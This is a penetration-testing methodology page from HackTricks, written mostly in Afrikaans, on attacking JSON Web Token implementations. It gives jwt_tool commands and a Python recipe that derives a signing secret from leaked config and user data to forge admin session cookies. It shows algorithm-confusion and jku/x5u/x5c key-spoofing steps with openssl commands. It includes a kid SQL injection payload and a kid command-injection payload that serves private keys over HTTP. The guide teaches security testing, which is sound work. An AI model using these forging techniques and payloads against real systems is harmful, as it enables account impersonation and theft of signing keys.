JWT Kwetsbaarhede (Json Web Tokens)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Deel van hierdie pos is gebaseer op die wonderlike pos: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Skrywer van die wonderlike hulpmiddel om JWTs te pentest https://github.com/ticarpi/jwt_tool

Vinnige Winste

Voer jwt_tool met die modus All Tests! uit en wag vir groen reëls

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

As jy gelukkig is sal die tool ’n geval vind waar die webtoepassing die JWT verkeerd nagaan:

Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoek dump met die jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Tamper data without modifying anything

Jy kan net die data manipuleer en die signature ongemoeid laat, en kyk of die server die signature kontroleer. Probeer byvoorbeeld jou gebruikersnaam na “admin” verander.

Is the token checked?

Om te kontroleer of ’n JWT se signature geverifieer word:

  • ’n foutboodskap dui op lopende verifikasie; sensitiewe besonderhede in uitvoerige foute moet nagegaan word.
  • ’n verandering in die teruggegewe bladsy dui ook op verifikasie.
  • Geen verandering dui op geen verifikasie nie; dit is wanneer jy kan eksperimenteer met tampering van payload claims.

Origin

Dit is belangrik om te bepaal of die token server-side of client-side gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.

  • Tokens wat eerstens vanaf die client side gesien word dui daarop dat die key moontlik aan client-side code blootgestel is, wat verdere ondersoek vereis.
  • Tokens wat server-side oorsprong het dui op ’n veilige proses.

Duration

Kontroleer of die token langer as 24h geldig is… dalk verval dit nooit. As daar ’n “exp” field is, kontroleer of die server dit korrek hanteer.

Brute-force HMAC secret

See this page.

Derive JWT secrets from leaked config + DB data

As ’n arbitrary file read (of backup leak) beide application encryption material en user records blootstel, kan jy soms die JWT signing secret herkonstrueer en session cookies forge sonder om enige plaintext passwords te ken. Voorbeeldpatroon waargeneem in workflow automation stacks:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Aflei die signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Plaas die ondertekende token in die session cookie (bv. n8n-auth) om die gebruiker/admin-rekening te imiteer selfs al is die wagwoord-hash gesout.

Verander die algoritme na None

Set the algorithm used as “None” and remove the signature part.

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

Verander die algoritme RS256(asymmetric) na HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Die algoritme HS256 uses the secret key to sign and verify each message.
Die algoritme RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nuwe publieke sleutel in die header

’n Aanvaller voeg ’n nuwe sleutel in die header van die token in en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).

Dit kan met die “JSON Web Tokens” Burp extension gedoen word.
(Stuur die request na die Repeater, binne die JSON Web Token tab kies “CVE-2018-0114” en stuur die request).

JWKS Spoofing

Die instruksies beskryf ’n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat ’n “jku” header claim gebruik. Hierdie claim behoort te verwys na ’n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die verifikasie van die token.

  • Beoordeling van tokens met die “jku” header:

  • Verifieer die “jku” claim se URL om te verseker dit lei na die toepaslike JWKS-lêer.

  • Verander die token se “jku” waarde om na ’n beheerde webdiens te wys, sodat jy verkeer kan observeer.

  • Monitering vir HTTP-interaksie:

  • Waarneming van HTTP-versoeke na jou gespesifiseerde URL dui daarop dat die bediener probeer sleutels van jou verskafde skakel te haal.

  • Wanneer jy jwt_tool vir hierdie proses gebruik, is dit noodsaaklik om die jwtconf.ini lêer by te werk met jou persoonlike JWKS-ligging om die toetsing te vergemaklik.

  • Command for jwt_tool:

  • Voer die volgende opdrag uit om die scenario met jwt_tool te simuleer:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

’n Opsionele header-claim bekend as kid word gebruik om ’n spesifieke sleutel te identifiseer, wat besonders belangrik raak in omgewings waar verskeie sleutels bestaan vir token-handtekeningverifikasie. Hierdie claim help om die toepaslike sleutel te kies om ’n token se handtekening te verifieer.

Sleutel openbaar deur kid

Wanneer die kid claim in die header teenwoordig is, word dit aanbeveel om die webgids na die ooreenstemmende lêer of variante daarvan te deursoek. Byvoorbeeld, as "kid":"key/12345" gespesifiseer is, behoort die lêers /key/12345 en /key/12345.pem in die web root gesoek te word.

Path Traversal with kid

Die kid claim kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die seleksie van ’n arbitrêre lêer toelaat. Dit is haalbaar om vir konnektiwiteit te toets of Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die kid waarde te verander om spesifieke lêers of dienste te teiken. Om aan die JWT te knoei om die kid waarde te verander terwyl die oorspronklike handtekening behou word, kan bereik word deur die -T vlag in jwt_tool te gebruik, soos hieronder gedemonstreer:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Deur te mik op lêers met voorspelbare inhoud, is dit moontlik om ’n geldige JWT te vervals. Byvoorbeeld, die /proc/sys/kernel/randomize_va_space lêer op Linux-stelsels, bekend daarvoor dat dit die waarde 2 bevat, kan in die kid-parameter gebruik word met 2 as die simmetriese wagwoord vir JWT-generering.

SQL Injection via “kid”

As die inhoud van die kid-claim gebruik word om ’n wagwoord vanaf ’n databasis te haal, kan ’n SQL Injection gefasiliteer word deur die kid-payload te verander. ’n Voorbeeld-payload wat SQL Injection gebruik om die JWT-ondertekeningsproses te verander, sluit in:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Hierdie verandering dwing die gebruik van ’n bekende secret key, ATTACKER, vir JWT-ondertekening.

OS Injection through “kid”

’n Scenario waar die kid-parameter ’n lêerpad spesifiseer wat binne ’n command execution-konteks gebruik word, kan lei tot Remote Code Execution (RCE)-kwesbaarhede. Deur opdragte in die kid-parameter te injekteer, is dit moontlik om private keys bloot te lê. ’n Voorbeeld-payload om RCE en sleutelblootstelling te bewerkstellig is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku staan vir JWK Set URL.
As die token ’n “jkuHeader-claim gebruik, kyk dan na die verskafde URL. Dit moet na ’n URL wys wat die JWKS-lêer bevat wat die Public Key hou vir die verifikasie van die token. Manipuleer die token sodat die jku-waarde na ’n web service wys waarvoor jy verkeer kan monitor.

Eerstens moet jy ’n nuwe sertifikaat skep met nuwe private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte public and private keys en deur die parameter jku na die geskepte sertifikaat te wys. Om ’n geldige jku-sertifikaat te skep, kan jy die oorspronklike een aflaai en die nodige parameters verander.

Jy kan die parameters “e” en “n” uit ’n publieke sertifikaat verkry deur:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. ’n URI wat na ’n stel X.509 (ʼn sertifikaat-formaat standaard) publieke sertifikate in PEM-vorm wys. Die eerste sertifikaat in die stel moet dié wees wat gebruik is om hierdie JWT te teken. Die daaropvolgende sertifikate teken elk die vorige, en voltooi so die sertifikaatsketting. X.509 word gedefinieer in RFC 52807. Vervoerbeveiliging is nodig om die sertifikate oor te dra.

Probeer om hierdie header na ’n URL onder jou beheer te verander en kyk of enige versoek ontvang word. In daardie geval kan jy die JWT manipuleer.

Om ’n nuwe token te vervals met ’n sertifikaat wat jy beheer, moet jy die sertifikaat skep en die publieke en private sleutels uittrek:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die geskepte publieke en private sleutels en deur die parameter x5u na die geskepte .crt-sertifikaat te wys.

Jy kan ook albei van hierdie kwetsbaarhede misbruik vir SSRFs.

x5c

Hierdie parameter kan die sertifikaat in base64 bevat:

As die aanvaller ’n self-ondertekende sertifikaat genereer en ’n vervalste token skep met die ooreenstemmende private sleutel en die waarde van die “x5c”-parameter vervang met die nuutgegenereerde sertifikaat en die ander parameters, naamlik n, e en x5t, wysig, sal die vervalste token in wese deur die bediener aanvaar word.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ingebedde Public Key (CVE-2018-0114)

As die JWT ’n ingebedde public key het soos in die volgende scenario:

Deur die volgende nodejs-script te gebruik, is dit moontlik om ’n public key uit daardie data te genereer:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Dit is moontlik om ’n nuwe private/public key te genereer, die nuwe public key in die token in te sluit en dit te gebruik om ’n nuwe signature te genereer:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Jy kan die “n” en “e” verkry met behulp van hierdie nodejs-skrip:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: Privaat sleutel onthul as dieselfde nonce gebruik is

As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee JWTs te genereer, kan die privaat sleutel herstel word.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

Die JTI (JWT ID) claim bied ’n unieke identifiseerder vir ’n JWT Token. Dit kan gebruik word om te verhoed dat die token hergespeel word.
Stel jou egter ’n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoeke 0001 en 10001 gaan dieselfde ID gebruik. Dus, as die backend die ID by elke versoek verhoog, kan jy dit misbruik om ’n versoek te herhaal (jy sal 10000 versoeke tussen elke suksesvolle herhaal moet stuur).

JWT Registered claims

JSON Web Token (JWT)

Ander aanvalle

Cross-service Relay Attacks

Daar is waargeneem dat sommige webtoepassings op ’n vertroude JWT-service staatmaak vir die generering en bestuur van hul tokens. Daar is gevalle gedokumenteer waar ’n token, gegenereer vir een kliënt deur die JWT-service, deur ’n ander kliënt van dieselfde JWT-service aanvaar is. As die uitreiking of vernuwing van ’n JWT via ’n derdeparty-diens waargeneem word, behoort die moontlikheid nagegaan te word dat daar by ’n ander kliënt van daardie diens met dieselfde gebruikersnaam/e-pos geregistreer kan word. Probeer dan die verkrygde token in ’n versoek na die teiken te herhaal om te sien of dit aanvaar word.

  • Die aanvaarding van jou token kan dui op ’n kritieke probleem en moontlik toelaat dat enige gebruiker se rekening gespoof word. Let egter daarop dat toestemming vir wyer toetse benodig mag word as daar by ’n derdeparty-toepassing geregistreer word, aangesien dit ’n wetlike grysarea kan betree.

Expiry Check of Tokens

Die token se vervaldatum word nagegaan met die “exp” Payload claim. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering nodig. In baie gevalle kan dit moontlik wees om ’n ander gebruiker se JWT vas te vang en te hergebruik om daardie gebruiker te impersonate. Die JWT RFC beveel aan om JWT-replay-aanvalle te beperk deur die “exp” claim te gebruik om ’n vervaltyd vir die token in te stel. Verder is die implementering van toepaslike kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en vervalde tokens verwerp word, noodsaaklik. As die token ’n “exp” claim insluit en toetse tydsbeperkings toelaat, word dit aanbeveel om die token te stoor en dit ná die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempel-parsing en vervaldatumkontrole (tydstempel in UTC), kan gelees word met jwt_tool se -R vlag.

  • ’n Sekuriteitsrisiko mag bestaan as die toepassing die token nog steeds valideer, aangesien dit kan impliseer dat die token nooit kan verstryk nie.

Tools

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks